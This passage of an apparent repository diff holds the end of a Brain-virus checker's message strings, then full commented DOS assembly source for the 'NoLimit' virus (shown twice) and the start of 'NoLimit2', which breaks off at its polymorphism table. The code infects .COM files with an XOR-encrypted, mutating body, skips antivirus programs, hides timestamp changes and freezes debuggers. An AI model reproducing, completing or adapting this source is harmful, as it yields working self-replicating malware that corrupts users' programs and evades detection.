MesOh1 db 'DISK ERROR : I can not read the correct boot sector.'
|
||||
db 13,10,'$'
|
||||
MesOh2 db 'Failed to write correct boot sector in boot area.'
|
||||
db 13,10,'$'
|
||||
MesOh3 db 'Failed to write FAT tables. Corrections lost.'
|
||||
db 13,10,'$'
|
||||
MesGood db 'Good News : The disk is not <Brain> contaminated.'
|
||||
db 13,10,'$'
|
||||
MesBad db 'Bad News : The disk is <Brain> contaminated.'
|
||||
db 13,10,'$'
|
||||
|
||||
MesBad1 db '* WARNING *',13,10
|
||||
db 'Virus <Brain> is active right now !',13,10,'$'
|
||||
|
||||
MesBad2 db 13,10
|
||||
db 'Remove the disk after the virus is killed',13,10
|
||||
db 'to avoid the risk of contamination.',13,10,13,10,'$'
|
||||
|
||||
Count db 0 ;Count 0..58
|
||||
Drive db 0 ;Current drive
|
||||
|
||||
PrgEnd:
|
||||
Cseg Ends
|
||||
End Start
|
||||
|
|
@ -0,0 +1,266 @@
|
|||
;
|
||||
; NoLimit Virus by John Tardy / TridenT
|
||||
;
|
||||
; Limited version of Servant Virus
|
||||
|
||||
Version Equ 1 ; Initial release.
|
||||
|
||||
Org 0h ; Creates a .BIN file.
|
||||
|
||||
; This piece of code is located at the begin of the file
|
||||
|
||||
Start: Jmp MainVir ; Jump to the main virus.
|
||||
|
||||
Db '*' ; Infection marker.
|
||||
|
||||
; This will be appended to the victim
|
||||
|
||||
MainVir: Lea Si,Decr ; This is the decryptor, which
|
||||
DecrOfs Equ $-2 ; is mutated from the main
|
||||
Mov Cx,DecrLen ; virus. It uses a simple xor
|
||||
Decrypt: Xor B [Si],0 ; algorithm. It uses three
|
||||
DecVal Equ $-1 ; different index regs, Si, Di
|
||||
Incer: Inc Si ; or Bx. The Xor OpCode can be
|
||||
LoopType: Loop Decrypt ; 80h or 82h and it's Loop or
|
||||
MainLen Equ $-Mainvir ; LoopNz.
|
||||
|
||||
; From here everything is encrypted
|
||||
|
||||
Decr: Call On1 ; Get Offset of the appended
|
||||
On1: Pop BP ; virus by pushing the call on
|
||||
Sub BP,On1 ; the stack and retrieve the
|
||||
; address.
|
||||
|
||||
Mov W TrapIt[Bp],KillDebug ; This routine restores the
|
||||
Lea Si,OrgPrg[Bp] ; beginning of the original
|
||||
TrapIt Equ $-2 ; file, except when run from
|
||||
Mov Di,100h ; a debugger. It will then
|
||||
Push Di ; put the routine at
|
||||
Push Ax ; KillDebug in place of that,
|
||||
Movsw ; this locking the system
|
||||
Movsw ; after infection and
|
||||
Lea Dx,OrgPrg[Bp] ; confusing TBCLEAN.
|
||||
Mov W TrapIt[Bp],OrgPrg ;
|
||||
|
||||
Mov Ah,19h ; We don't want to infect
|
||||
Int 21h ; programs on floppy drive,
|
||||
Cmp Al,2 ; we then go to NoHD.
|
||||
Jb NoHD ;
|
||||
|
||||
Mov Ah,1ah ; Use a new DTA.
|
||||
Mov Dx,0fd00h ;
|
||||
Int 21h ;
|
||||
|
||||
In Al,21h ; This makes DOS DEBUG to
|
||||
Or Al,2 ; hang and thus making
|
||||
Out 21h,Al ; beginning virus-researchers
|
||||
Xor Al,2 ; a hard time.
|
||||
Out 21h,Al ;
|
||||
|
||||
Mov Ah,4eh ; Search a .COM file in the
|
||||
Search: Lea Dx,FileSpec[BP] ; current directory.
|
||||
Xor Cx,Cx ;
|
||||
Int 21h ;
|
||||
|
||||
Jnc Found ; If found, goto found,
|
||||
NoHD: Jmp Ready ; else goto ready.
|
||||
|
||||
KillDebug: Cli ; The routine that will be
|
||||
Jmp KillDebug ; activated by the antidebug
|
||||
; part.
|
||||
|
||||
Db '[NoLimit] John Tardy / Trident '
|
||||
|
||||
; Here follows a table of filenames to avoid with infecting.
|
||||
|
||||
Tabel Db 'CA' ; Catcher (Gobbler).
|
||||
Db 'VA' ; Validate (McAfee).
|
||||
Db 'GU' ; Guard (Dr. Solomon).
|
||||
Db 'CO' ; Command.Com (Microsoft).
|
||||
Db '4D' ; 4Dos (JP Software).
|
||||
Db 'VS' ; VSafe (CPav).
|
||||
Db 'TB' ; TbDel (Esass).
|
||||
TabLen Equ $-Tabel
|
||||
|
||||
|
||||
Found: Mov Bx,[0fd1eh] ; This routine checks if
|
||||
Lea Si,Tabel[Bp] ; the candidate file begins
|
||||
Mov Cx,TabLen/2 ; with the chars in the table
|
||||
ChkNam: Lodsw ; above. If so, it goes to
|
||||
Cmp Ax,Bx ; SearchNext.
|
||||
Je SearchNext ;
|
||||
Loop ChkNam ;
|
||||
|
||||
mov dx,0fd1eh ; Open the file with only
|
||||
Mov Ax,3d00h ; read access.
|
||||
Int 21h ;
|
||||
|
||||
Xchg Ax,Bx ; Put Filehandle to BX.
|
||||
|
||||
Mov Ah,45h ; Duplicate Filehandle and
|
||||
Int 21h ; use the new one (confuses
|
||||
Xchg Ax,Bx ; some resident monitoring
|
||||
; software (TBFILE)).
|
||||
|
||||
mov Ax,1220h ; This is a tricky routine
|
||||
push bx ; used to get the offset
|
||||
int 2fh ; to the File Handle Table,
|
||||
mov bl,es:[di] ; where we can change
|
||||
Mov Ax,1216h ; directly some things.
|
||||
int 2fh ;
|
||||
pop bx ;
|
||||
mov ds,es ;
|
||||
|
||||
mov byte ptr [di+2],2 ; File now open with write
|
||||
; access.
|
||||
|
||||
mov al,b [di+4] ; Store old file attributes
|
||||
mov b [di+4],0 ; and clear it.
|
||||
push ax ;
|
||||
|
||||
push ds ; Store FHT on the stack.
|
||||
push di ;
|
||||
|
||||
mov ds,cs ; Restore old Ds and Es
|
||||
mov es,cs ; (with .COM equal to Cs).
|
||||
|
||||
Mov Ah,3fh ; Read the first 4 bytes
|
||||
Lea Dx,OrgPrg[BP] ; to OrgPrg (Bp indexed
|
||||
Mov Cx,4 ; (the call remember?)).
|
||||
Int 21h ;
|
||||
|
||||
Mov Ax,OrgPrg[BP] ; Check if it is a renamed
|
||||
Cmp Ax,'ZM' ; .EXE file. If so, goto
|
||||
Je ExeFile ; ExeFile.
|
||||
Cmp Ax,'MZ' ;
|
||||
Je ExeFile ;
|
||||
|
||||
Cmp B OrgPrg[3][Bp],'*' ; Check if already infected.
|
||||
|
||||
Jne Infect ; If not so, goto Infect.
|
||||
|
||||
ExeFile: Call Close ; Call file close routine.
|
||||
|
||||
SearchNext: Mov Ah,4fh ; And search the next victim.
|
||||
Jmp Search ;
|
||||
|
||||
Infect: Mov Ax,4202h ; Jump to EOF.
|
||||
Cwd ;
|
||||
Xor Cx,Cx ;
|
||||
Int 21h ;
|
||||
|
||||
Sub Ax,3 ; Calculate the Jump and the
|
||||
Mov CallPtr[BP+1],Ax ; decryptor offset values.
|
||||
Add Ax,(Offset Decr+0ffh) ;
|
||||
Mov DecrOfs[Bp],Ax ;
|
||||
|
||||
Call EncryptIt ; Call Encryption engine.
|
||||
|
||||
Mov Ah,40h ; Write the decoder to the
|
||||
Lea Dx,MainVir[Bp] ; end of the file.
|
||||
Mov Cx,MainLen ;
|
||||
Int 21h ;
|
||||
|
||||
Mov Ah,40h ; And append the encrypted
|
||||
Lea Dx,EndOfVir[BP] ; main virus body to it
|
||||
Mov Cx,DecrLen ; also.
|
||||
Int 21h ;
|
||||
|
||||
Mov Ax,4200h ; Jump to the beginning of
|
||||
Cwd ; the file.
|
||||
Xor Cx,Cx ;
|
||||
Int 21h ;
|
||||
|
||||
Mov Ah,40h ; And write the jump to the
|
||||
Lea Dx,CallPtr[BP] ; over the first 4 bytes of
|
||||
Mov Cx,4 ; the file.
|
||||
Int 21h ;
|
||||
|
||||
Call Close ; Call close routine.
|
||||
|
||||
Ready: Mov Ah,1ah ; Restore the DTA.
|
||||
Mov Dx,80h ;
|
||||
Int 21h ;
|
||||
|
||||
Pop Ax ; Restore error register.
|
||||
|
||||
Ret ; Return to host (at 100h).
|
||||
|
||||
Close: Pop Si
|
||||
|
||||
pop di ; Restore FHT offset again.
|
||||
pop ds ;
|
||||
|
||||
or b [di+6],40h ; Do not change file date/time
|
||||
; stamps.
|
||||
|
||||
pop ax ; Restore file attributes.
|
||||
mov b [di+4],al ;
|
||||
|
||||
Mov Ah,3eh ; Close file.
|
||||
Int 21h ;
|
||||
|
||||
mov ds,cs ; Restore Ds segment.
|
||||
|
||||
Push Si
|
||||
Ret
|
||||
|
||||
CallPtr Db 0e9h,0,0 ; Here the jump is generated.
|
||||
|
||||
FileSpec Db '*.CoM',0 ; FileSpec + Infection Marker.
|
||||
|
||||
OrgPrg: Int 20h ; Original 4 bytes of the
|
||||
Nop ; host program.
|
||||
Nop ;
|
||||
|
||||
EncryptIt: Xor Ax,Ax ; Get timer tick (seen as a
|
||||
Mov Ds,Ax ; random value).
|
||||
Mov Ah,B Ds:[046ch] ;
|
||||
|
||||
Mov Ds,Cs ; If Ah is zero, goto
|
||||
Cmp Ah,0 ; EncryptIt
|
||||
Je EncryptIt ;
|
||||
|
||||
GenKey: Mov B DecVal[Bp],Ah ; Encrypt the virus body
|
||||
Lea Si,Decr[Bp] ; to the address just at the
|
||||
Lea Di,EndOfVir[Bp] ; end of the virus.
|
||||
Mov Cx,DecrLen ;
|
||||
Encrypt: Lodsb ;
|
||||
Xor Al,Ah ;
|
||||
Stosb ;
|
||||
Loop Encrypt ;
|
||||
|
||||
Xor B Decrypt[Bp],2 ; Make the Xor variable.
|
||||
|
||||
Test Ah,4 ; Make the Loop variable
|
||||
Jc NoGarble ; (xor works like a switch
|
||||
Xor B LoopType[Bp],2 ; for 80h/82h or 0e0h/0e2h).
|
||||
|
||||
Xchg Ah,Al ; Read the different
|
||||
And Ax,0003h ; Si, Di, Bx instructions
|
||||
Mov Si,Ax ; from the table and store
|
||||
Add Si,PolyTable ; them into the decrytor, thus
|
||||
Add Si,Bp ; making it recognizable only
|
||||
Lodsb ; at 4 bytes. (or nibble
|
||||
Mov B MainVir[Bp],Al ; checking is usable).
|
||||
Add Si,3 ;
|
||||
Lodsb ;
|
||||
Mov B Decrypt[Bp+1],Al ;
|
||||
Add Si,3 ;
|
||||
Lodsb ;
|
||||
Mov B Incer[Bp],Al ;
|
||||
|
||||
NoGarble: Ret ; Return to called
|
||||
|
||||
; Table with functions for polymorphing
|
||||
|
||||
PolyTable Equ $
|
||||
Db 0beh,0bfh,0bbh,0beh ; Mov Si,Di,Bx,Si
|
||||
Db 034h,035h,037h,034h ; Xor Si,Di,Bx,Si
|
||||
Db 046h,047h,043h,046h ; Inc Si,Di,Bx,Si
|
||||
|
||||
DB Version ; Virus version number
|
||||
|
||||
DecrLen Equ $-Decr
|
||||
|
||||
EndOfVir Equ $
|
|
@ -0,0 +1,266 @@
|
|||
;
|
||||
; NoLimit Virus by John Tardy / TridenT
|
||||
;
|
||||
; Limited version of Servant Virus
|
||||
|
||||
Version Equ 1 ; Initial release.
|
||||
|
||||
Org 0h ; Creates a .BIN file.
|
||||
|
||||
; This piece of code is located at the begin of the file
|
||||
|
||||
Start: Jmp MainVir ; Jump to the main virus.
|
||||
|
||||
Db '*' ; Infection marker.
|
||||
|
||||
; This will be appended to the victim
|
||||
|
||||
MainVir: Lea Si,Decr ; This is the decryptor, which
|
||||
DecrOfs Equ $-2 ; is mutated from the main
|
||||
Mov Cx,DecrLen ; virus. It uses a simple xor
|
||||
Decrypt: Xor B [Si],0 ; algorithm. It uses three
|
||||
DecVal Equ $-1 ; different index regs, Si, Di
|
||||
Incer: Inc Si ; or Bx. The Xor OpCode can be
|
||||
LoopType: Loop Decrypt ; 80h or 82h and it's Loop or
|
||||
MainLen Equ $-Mainvir ; LoopNz.
|
||||
|
||||
; From here everything is encrypted
|
||||
|
||||
Decr: Call On1 ; Get Offset of the appended
|
||||
On1: Pop BP ; virus by pushing the call on
|
||||
Sub BP,On1 ; the stack and retrieve the
|
||||
; address.
|
||||
|
||||
Mov W TrapIt[Bp],KillDebug ; This routine restores the
|
||||
Lea Si,OrgPrg[Bp] ; beginning of the original
|
||||
TrapIt Equ $-2 ; file, except when run from
|
||||
Mov Di,100h ; a debugger. It will then
|
||||
Push Di ; put the routine at
|
||||
Push Ax ; KillDebug in place of that,
|
||||
Movsw ; this locking the system
|
||||
Movsw ; after infection and
|
||||
Lea Dx,OrgPrg[Bp] ; confusing TBCLEAN.
|
||||
Mov W TrapIt[Bp],OrgPrg ;
|
||||
|
||||
Mov Ah,19h ; We don't want to infect
|
||||
Int 21h ; programs on floppy drive,
|
||||
Cmp Al,2 ; we then go to NoHD.
|
||||
Jb NoHD ;
|
||||
|
||||
Mov Ah,1ah ; Use a new DTA.
|
||||
Mov Dx,0fd00h ;
|
||||
Int 21h ;
|
||||
|
||||
In Al,21h ; This makes DOS DEBUG to
|
||||
Or Al,2 ; hang and thus making
|
||||
Out 21h,Al ; beginning virus-researchers
|
||||
Xor Al,2 ; a hard time.
|
||||
Out 21h,Al ;
|
||||
|
||||
Mov Ah,4eh ; Search a .COM file in the
|
||||
Search: Lea Dx,FileSpec[BP] ; current directory.
|
||||
Xor Cx,Cx ;
|
||||
Int 21h ;
|
||||
|
||||
Jnc Found ; If found, goto found,
|
||||
NoHD: Jmp Ready ; else goto ready.
|
||||
|
||||
KillDebug: Cli ; The routine that will be
|
||||
Jmp KillDebug ; activated by the antidebug
|
||||
; part.
|
||||
|
||||
Db '[NoLimit] John Tardy / Trident '
|
||||
|
||||
; Here follows a table of filenames to avoid with infecting.
|
||||
|
||||
Tabel Db 'CA' ; Catcher (Gobbler).
|
||||
Db 'VA' ; Validate (McAfee).
|
||||
Db 'GU' ; Guard (Dr. Solomon).
|
||||
Db 'CO' ; Command.Com (Microsoft).
|
||||
Db '4D' ; 4Dos (JP Software).
|
||||
Db 'VS' ; VSafe (CPav).
|
||||
Db 'TB' ; TbDel (Esass).
|
||||
TabLen Equ $-Tabel
|
||||
|
||||
|
||||
Found: Mov Bx,[0fd1eh] ; This routine checks if
|
||||
Lea Si,Tabel[Bp] ; the candidate file begins
|
||||
Mov Cx,TabLen/2 ; with the chars in the table
|
||||
ChkNam: Lodsw ; above. If so, it goes to
|
||||
Cmp Ax,Bx ; SearchNext.
|
||||
Je SearchNext ;
|
||||
Loop ChkNam ;
|
||||
|
||||
mov dx,0fd1eh ; Open the file with only
|
||||
Mov Ax,3d00h ; read access.
|
||||
Int 21h ;
|
||||
|
||||
Xchg Ax,Bx ; Put Filehandle to BX.
|
||||
|
||||
Mov Ah,45h ; Duplicate Filehandle and
|
||||
Int 21h ; use the new one (confuses
|
||||
Xchg Ax,Bx ; some resident monitoring
|
||||
; software (TBFILE)).
|
||||
|
||||
mov Ax,1220h ; This is a tricky routine
|
||||
push bx ; used to get the offset
|
||||
int 2fh ; to the File Handle Table,
|
||||
mov bl,es:[di] ; where we can change
|
||||
Mov Ax,1216h ; directly some things.
|
||||
int 2fh ;
|
||||
pop bx ;
|
||||
mov ds,es ;
|
||||
|
||||
mov byte ptr [di+2],2 ; File now open with write
|
||||
; access.
|
||||
|
||||
mov al,b [di+4] ; Store old file attributes
|
||||
mov b [di+4],0 ; and clear it.
|
||||
push ax ;
|
||||
|
||||
push ds ; Store FHT on the stack.
|
||||
push di ;
|
||||
|
||||
mov ds,cs ; Restore old Ds and Es
|
||||
mov es,cs ; (with .COM equal to Cs).
|
||||
|
||||
Mov Ah,3fh ; Read the first 4 bytes
|
||||
Lea Dx,OrgPrg[BP] ; to OrgPrg (Bp indexed
|
||||
Mov Cx,4 ; (the call remember?)).
|
||||
Int 21h ;
|
||||
|
||||
Mov Ax,OrgPrg[BP] ; Check if it is a renamed
|
||||
Cmp Ax,'ZM' ; .EXE file. If so, goto
|
||||
Je ExeFile ; ExeFile.
|
||||
Cmp Ax,'MZ' ;
|
||||
Je ExeFile ;
|
||||
|
||||
Cmp B OrgPrg[3][Bp],'*' ; Check if already infected.
|
||||
|
||||
Jne Infect ; If not so, goto Infect.
|
||||
|
||||
ExeFile: Call Close ; Call file close routine.
|
||||
|
||||
SearchNext: Mov Ah,4fh ; And search the next victim.
|
||||
Jmp Search ;
|
||||
|
||||
Infect: Mov Ax,4202h ; Jump to EOF.
|
||||
Cwd ;
|
||||
Xor Cx,Cx ;
|
||||
Int 21h ;
|
||||
|
||||
Sub Ax,3 ; Calculate the Jump and the
|
||||
Mov CallPtr[BP+1],Ax ; decryptor offset values.
|
||||
Add Ax,(Offset Decr+0ffh) ;
|
||||
Mov DecrOfs[Bp],Ax ;
|
||||
|
||||
Call EncryptIt ; Call Encryption engine.
|
||||
|
||||
Mov Ah,40h ; Write the decoder to the
|
||||
Lea Dx,MainVir[Bp] ; end of the file.
|
||||
Mov Cx,MainLen ;
|
||||
Int 21h ;
|
||||
|
||||
Mov Ah,40h ; And append the encrypted
|
||||
Lea Dx,EndOfVir[BP] ; main virus body to it
|
||||
Mov Cx,DecrLen ; also.
|
||||
Int 21h ;
|
||||
|
||||
Mov Ax,4200h ; Jump to the beginning of
|
||||
Cwd ; the file.
|
||||
Xor Cx,Cx ;
|
||||
Int 21h ;
|
||||
|
||||
Mov Ah,40h ; And write the jump to the
|
||||
Lea Dx,CallPtr[BP] ; over the first 4 bytes of
|
||||
Mov Cx,4 ; the file.
|
||||
Int 21h ;
|
||||
|
||||
Call Close ; Call close routine.
|
||||
|
||||
Ready: Mov Ah,1ah ; Restore the DTA.
|
||||
Mov Dx,80h ;
|
||||
Int 21h ;
|
||||
|
||||
Pop Ax ; Restore error register.
|
||||
|
||||
Ret ; Return to host (at 100h).
|
||||
|
||||
Close: Pop Si
|
||||
|
||||
pop di ; Restore FHT offset again.
|
||||
pop ds ;
|
||||
|
||||
or b [di+6],40h ; Do not change file date/time
|
||||
; stamps.
|
||||
|
||||
pop ax ; Restore file attributes.
|
||||
mov b [di+4],al ;
|
||||
|
||||
Mov Ah,3eh ; Close file.
|
||||
Int 21h ;
|
||||
|
||||
mov ds,cs ; Restore Ds segment.
|
||||
|
||||
Push Si
|
||||
Ret
|
||||
|
||||
CallPtr Db 0e9h,0,0 ; Here the jump is generated.
|
||||
|
||||
FileSpec Db '*.CoM',0 ; FileSpec + Infection Marker.
|
||||
|
||||
OrgPrg: Int 20h ; Original 4 bytes of the
|
||||
Nop ; host program.
|
||||
Nop ;
|
||||
|
||||
EncryptIt: Xor Ax,Ax ; Get timer tick (seen as a
|
||||
Mov Ds,Ax ; random value).
|
||||
Mov Ah,B Ds:[046ch] ;
|
||||
|
||||
Mov Ds,Cs ; If Ah is zero, goto
|
||||
Cmp Ah,0 ; EncryptIt
|
||||
Je EncryptIt ;
|
||||
|
||||
GenKey: Mov B DecVal[Bp],Ah ; Encrypt the virus body
|
||||
Lea Si,Decr[Bp] ; to the address just at the
|
||||
Lea Di,EndOfVir[Bp] ; end of the virus.
|
||||
Mov Cx,DecrLen ;
|
||||
Encrypt: Lodsb ;
|
||||
Xor Al,Ah ;
|
||||
Stosb ;
|
||||
Loop Encrypt ;
|
||||
|
||||
Xor B Decrypt[Bp],2 ; Make the Xor variable.
|
||||
|
||||
Test Ah,4 ; Make the Loop variable
|
||||
Jc NoGarble ; (xor works like a switch
|
||||
Xor B LoopType[Bp],2 ; for 80h/82h or 0e0h/0e2h).
|
||||
|
||||
Xchg Ah,Al ; Read the different
|
||||
And Ax,0003h ; Si, Di, Bx instructions
|
||||
Mov Si,Ax ; from the table and store
|
||||
Add Si,PolyTable ; them into the decrytor, thus
|
||||
Add Si,Bp ; making it recognizable only
|
||||
Lodsb ; at 4 bytes. (or nibble
|
||||
Mov B MainVir[Bp],Al ; checking is usable).
|
||||
Add Si,3 ;
|
||||
Lodsb ;
|
||||
Mov B Decrypt[Bp+1],Al ;
|
||||
Add Si,3 ;
|
||||
Lodsb ;
|
||||
Mov B Incer[Bp],Al ;
|
||||
|
||||
NoGarble: Ret ; Return to called
|
||||
|
||||
; Table with functions for polymorphing
|
||||
|
||||
PolyTable Equ $
|
||||
Db 0beh,0bfh,0bbh,0beh ; Mov Si,Di,Bx,Si
|
||||
Db 034h,035h,037h,034h ; Xor Si,Di,Bx,Si
|
||||
Db 046h,047h,043h,046h ; Inc Si,Di,Bx,Si
|
||||
|
||||
DB Version ; Virus version number
|
||||
|
||||
DecrLen Equ $-Decr
|
||||
|
||||
EndOfVir Equ $
|
|
@ -0,0 +1,280 @@
|
|||
;
|
||||
; NoLimit2 Virus by John Tardy / TridenT
|
||||
;
|
||||
; Limited version of Servant Virus
|
||||
;
|
||||
; Bugs Fixed from 1:
|
||||
; With encryption, not all possibilities were used. Solved.
|
||||
|
||||
Version Equ 2 ; Initial release.
|
||||
|
||||
Org 0h ; Creates a .BIN file.
|
||||
|
||||
; This piece of code is located at the begin of the file
|
||||
|
||||
Start: Jmp MainVir ; Jump to the main virus.
|
||||
|
||||
Db '*' ; Infection marker.
|
||||
|
||||
; This will be appended to the victim
|
||||
|
||||
MainVir: Lea Si,Decr ; This is the decryptor, which
|
||||
DecrOfs Equ $-2 ; is mutated from the main
|
||||
Mov Cx,DecrLen ; virus. It uses a simple xor
|
||||
Decrypt: Xor B [Si],0 ; algorithm. It uses three
|
||||
DecVal Equ $-1 ; different index regs, Si, Di
|
||||
Incer: Inc Si ; or Bx. The Xor OpCode can be
|
||||
LoopType: Loop Decrypt ; 80h or 82h and it's Loop or
|
||||
MainLen Equ $-Mainvir ; LoopNz.
|
||||
|
||||
; From here everything is encrypted
|
||||
|
||||
Decr: Call On1 ; Get Offset of the appended
|
||||
On1: Pop BP ; virus by pushing the call on
|
||||
Sub BP,On1 ; the stack and retrieve the
|
||||
; address.
|
||||
|
||||
Mov W TrapIt[Bp],KillDebug ; This routine restores the
|
||||
Lea Si,OrgPrg[Bp] ; beginning of the original
|
||||
TrapIt Equ $-2 ; file, except when run from
|
||||
Mov Di,100h ; a debugger. It will then
|
||||
Push Di ; put the routine at
|
||||
Push Ax ; KillDebug in place of that,
|
||||
Movsw ; this locking the system
|
||||
Movsw ; after infection and
|
||||
Lea Dx,OrgPrg[Bp] ; confusing TBCLEAN.
|
||||
Mov W TrapIt[Bp],OrgPrg ;
|
||||
|
||||
Mov Ah,19h ; We don't want to infect
|
||||
Int 21h ; programs on floppy drive,
|
||||
Cmp Al,2 ; we then go to NoHD.
|
||||
Jb NoHD ;
|
||||
|
||||
Mov Ah,1ah ; Use a new DTA.
|
||||
Mov Dx,0fd00h ;
|
||||
Int 21h ;
|
||||
|
||||
In Al,21h ; This makes DOS DEBUG to
|
||||
Or Al,2 ; hang and thus making
|
||||
Out 21h,Al ; beginning virus-researchers
|
||||
Xor Al,2 ; a hard time.
|
||||
Out 21h,Al ;
|
||||
|
||||
Mov Ah,4eh ; Search a .COM file in the
|
||||
Search: Lea Dx,FileSpec[BP] ; current directory.
|
||||
Xor Cx,Cx ;
|
||||
Int 21h ;
|
||||
|
||||
Jnc Found ; If found, goto found,
|
||||
NoHD: Jmp Ready ; else goto ready.
|
||||
|
||||
KillDebug: Cli ; The routine that will be
|
||||
Jmp KillDebug ; activated by the antidebug
|
||||
; part.
|
||||
|
||||
Db '[NoLimit2] John Tardy / Trident '
|
||||
|
||||
; Here follows a table of filenames to avoid with infecting.
|
||||
|
||||
Tabel Db 'CA' ; Catcher (Gobbler).
|
||||
Db 'VA' ; Validate (McAfee).
|
||||
Db 'GU' ; Guard (Dr. Solomon).
|
||||
Db 'CO' ; Command.Com (Microsoft).
|
||||
Db '4D' ; 4Dos (JP Software).
|
||||
Db 'VS' ; VSafe (CPav).
|
||||
Db 'TB' ; TbDel (Esass).
|
||||
TabLen Equ $-Tabel
|
||||
|
||||
|
||||
Found: Mov Bx,[0fd1eh] ; This routine checks if
|
||||
Lea Si,Tabel[Bp] ; the candidate file begins
|
||||
Mov Cx,TabLen/2 ; with the chars in the table
|
||||
ChkNam: Lodsw ; above. If so, it goes to
|
||||
Cmp Ax,Bx ; SearchNext.
|
||||
Je SearchNext ;
|
||||
Loop ChkNam ;
|
||||
|
||||
mov dx,0fd1eh ; Open the file with only
|
||||
Mov Ax,3d00h ; read access.
|
||||
Int 21h ;
|
||||
|
||||
Xchg Ax,Bx ; Put Filehandle to BX.
|
||||
|
||||
Mov Ah,45h ; Duplicate Filehandle and
|
||||
Int 21h ; use the new one (confuses
|
||||
Xchg Ax,Bx ; some resident monitoring
|
||||
; software (TBFILE)).
|
||||
|
||||
mov Ax,1220h ; This is a tricky routine
|
||||
push bx ; used to get the offset
|
||||
int 2fh ; to the File Handle Table,
|
||||
mov bl,es:[di] ; where we can change
|
||||
Mov Ax,1216h ; directly some things.
|
||||
int 2fh ;
|
||||
pop bx ;
|
||||
mov ds,es ;
|
||||
|
||||
mov byte ptr [di+2],2 ; File now open with write
|
||||
; access.
|
||||
|
||||
mov al,b [di+4] ; Store old file attributes
|
||||
mov b [di+4],0 ; and clear it.
|
||||
push ax ;
|
||||
|
||||
push ds ; Store FHT on the stack.
|
||||
push di ;
|
||||
|
||||
mov ds,cs ; Restore old Ds and Es
|
||||
mov es,cs ; (with .COM equal to Cs).
|
||||
|
||||
Mov Ah,3fh ; Read the first 4 bytes
|
||||
Lea Dx,OrgPrg[BP] ; to OrgPrg (Bp indexed
|
||||
Mov Cx,4 ; (the call remember?)).
|
||||
Int 21h ;
|
||||
|
||||
Mov Ax,OrgPrg[BP] ; Check if it is a renamed
|
||||
Cmp Ax,'ZM' ; .EXE file. If so, goto
|
||||
Je ExeFile ; ExeFile.
|
||||
Cmp Ax,'MZ' ;
|
||||
Je ExeFile ;
|
||||
|
||||
Cmp B OrgPrg[3][Bp],'*' ; Check if already infected.
|
||||
|
||||
Jne Infect ; If not so, goto Infect.
|
||||
|
||||
ExeFile: Call Close ; Call file close routine.
|
||||
|
||||
SearchNext: Mov Ah,4fh ; And search the next victim.
|
||||
Jmp Search ;
|
||||
|
||||
Infect: Mov Ax,4202h ; Jump to EOF.
|
||||
Cwd ;
|
||||
Xor Cx,Cx ;
|
||||
Int 21h ;
|
||||
|
||||
Sub Ax,3 ; Calculate the Jump and the
|
||||
Mov CallPtr[BP+1],Ax ; decryptor offset values.
|
||||
Add Ax,(Offset Decr+0ffh) ;
|
||||
Mov DecrOfs[Bp],Ax ;
|
||||
|
||||
Call EncryptIt ; Call Encryption engine.
|
||||
|
||||
Mov Ah,40h ; Write the decoder to the
|
||||
Lea Dx,MainVir[Bp] ; end of the file.
|
||||
Mov Cx,MainLen ;
|
||||
Int 21h ;
|
||||
|
||||
Mov Ah,40h ; And append the encrypted
|
||||
Lea Dx,EndOfVir[BP] ; main virus body to it
|
||||
Mov Cx,DecrLen ; also.
|
||||
Int 21h ;
|
||||
|
||||
Mov Ax,4200h ; Jump to the beginning of
|
||||
Cwd ; the file.
|
||||
Xor Cx,Cx ;
|
||||
Int 21h ;
|
||||
|
||||
Mov Ah,40h ; And write the jump to the
|
||||
Lea Dx,CallPtr[BP] ; over the first 4 bytes of
|
||||
Mov Cx,4 ; the file.
|
||||
Int 21h ;
|
||||
|
||||
Call Close ; Call close routine.
|
||||
|
||||
Ready: Mov Ah,1ah ; Restore the DTA.
|
||||
Mov Dx,80h ;
|
||||
Int 21h ;
|
||||
|
||||
Pop Ax ; Restore error register.
|
||||
|
||||
Ret ; Return to host (at 100h).
|
||||
|
||||
Close: Pop Si
|
||||
|
||||
pop di ; Restore FHT offset again.
|
||||
pop ds ;
|
||||
|
||||
or b [di+6],40h ; Do not change file date/time
|
||||
; stamps.
|
||||
|
||||
pop ax ; Restore file attributes.
|
||||
mov b [di+4],al ;
|
||||
|
||||
Mov Ah,3eh ; Close file.
|
||||
Int 21h ;
|
||||
|
||||
mov ds,cs ; Restore Ds segment.
|
||||
|
||||
Push Si
|
||||
Ret
|
||||
|
||||
CallPtr Db 0e9h,0,0 ; Here the jump is generated.
|
||||
|
||||
FileSpec Db '*.CoM',0 ; FileSpec + Infection Marker.
|
||||
|
||||
OrgPrg: Int 20h ; Original 4 bytes of the
|
||||
Nop ; host program.
|
||||
Nop ;
|
||||
|
||||
EncryptIt: Xor Ax,Ax ; Get timer tick (seen as a
|
||||
Mov Ds,Ax ; random value).
|
||||
Mov Ax,W Ds:[046ch] ;
|
||||
Xchg Al,Ah ;
|
||||
|
||||
Push Ax
|
||||
Mov Ah,2ch ;
|
||||
Int 21h ;
|
||||
Pop Ax ;
|
||||
Not Cx ;
|
||||
Add Ax,Cx ;
|
||||
Adc Ax,Dx ;
|
||||
Mov Ds,Cs ;
|
||||
|
||||
Test Al,1 ;
|
||||
Jnz GenKey ;
|
||||
Xor B Decrypt[Bp],2 ; Make the Xor variable.
|
||||
|
||||
GenKey: Mov B DecVal[Bp],Ah ; Encrypt the virus body
|
||||
Lea Si,Decr[Bp] ; to the address just at the
|
||||
Lea Di,EndOfVir[Bp] ; end of the virus.
|
||||
Mov Cx,DecrLen ;
|
||||
Push Ax ;
|
||||
Encrypt: Lodsb ;
|
||||
Xor Al,Ah ;
|
||||
Stosb ;
|
||||
Loop Encrypt ;
|
||||
|
||||
Pop Ax ;
|
||||
|
||||
Test Ah,2 ; Make the Loop variable
|
||||
Jc NoGarble ; (xor works like a switch
|
||||
Xor B LoopType[Bp],2 ; for 80h/82h or 0e0h/0e2h).
|
||||
|
||||
Add Al,Ah ; Read the different
|
||||
And Ax,0003h ; Si, Di, Bx instructions
|
||||
Mov Si,Ax ; from the table and store
|
||||
Add Si,PolyTable ; them into the decrytor, thus
|
||||
Add Si,Bp ; making it recognizable only
|
||||
Lodsb ; at 4 bytes. (or nibble
|
||||
Mov B MainVir[Bp],Al ; checking is usable).
|
||||
Add Si,3 ;
|
||||
Lodsb ;
|
||||
Mov B Decrypt[Bp+1],Al ;
|
||||
Add Si,3 ;
|
||||
Lodsb ;
|
||||
Mov B Incer[Bp],Al ;
|
||||
|
||||
NoGarble: Ret ; Return to called
|
||||
|
||||
; Table with functions for polymorphing
|
||||
|
||||
PolyTable Equ $
|
||||
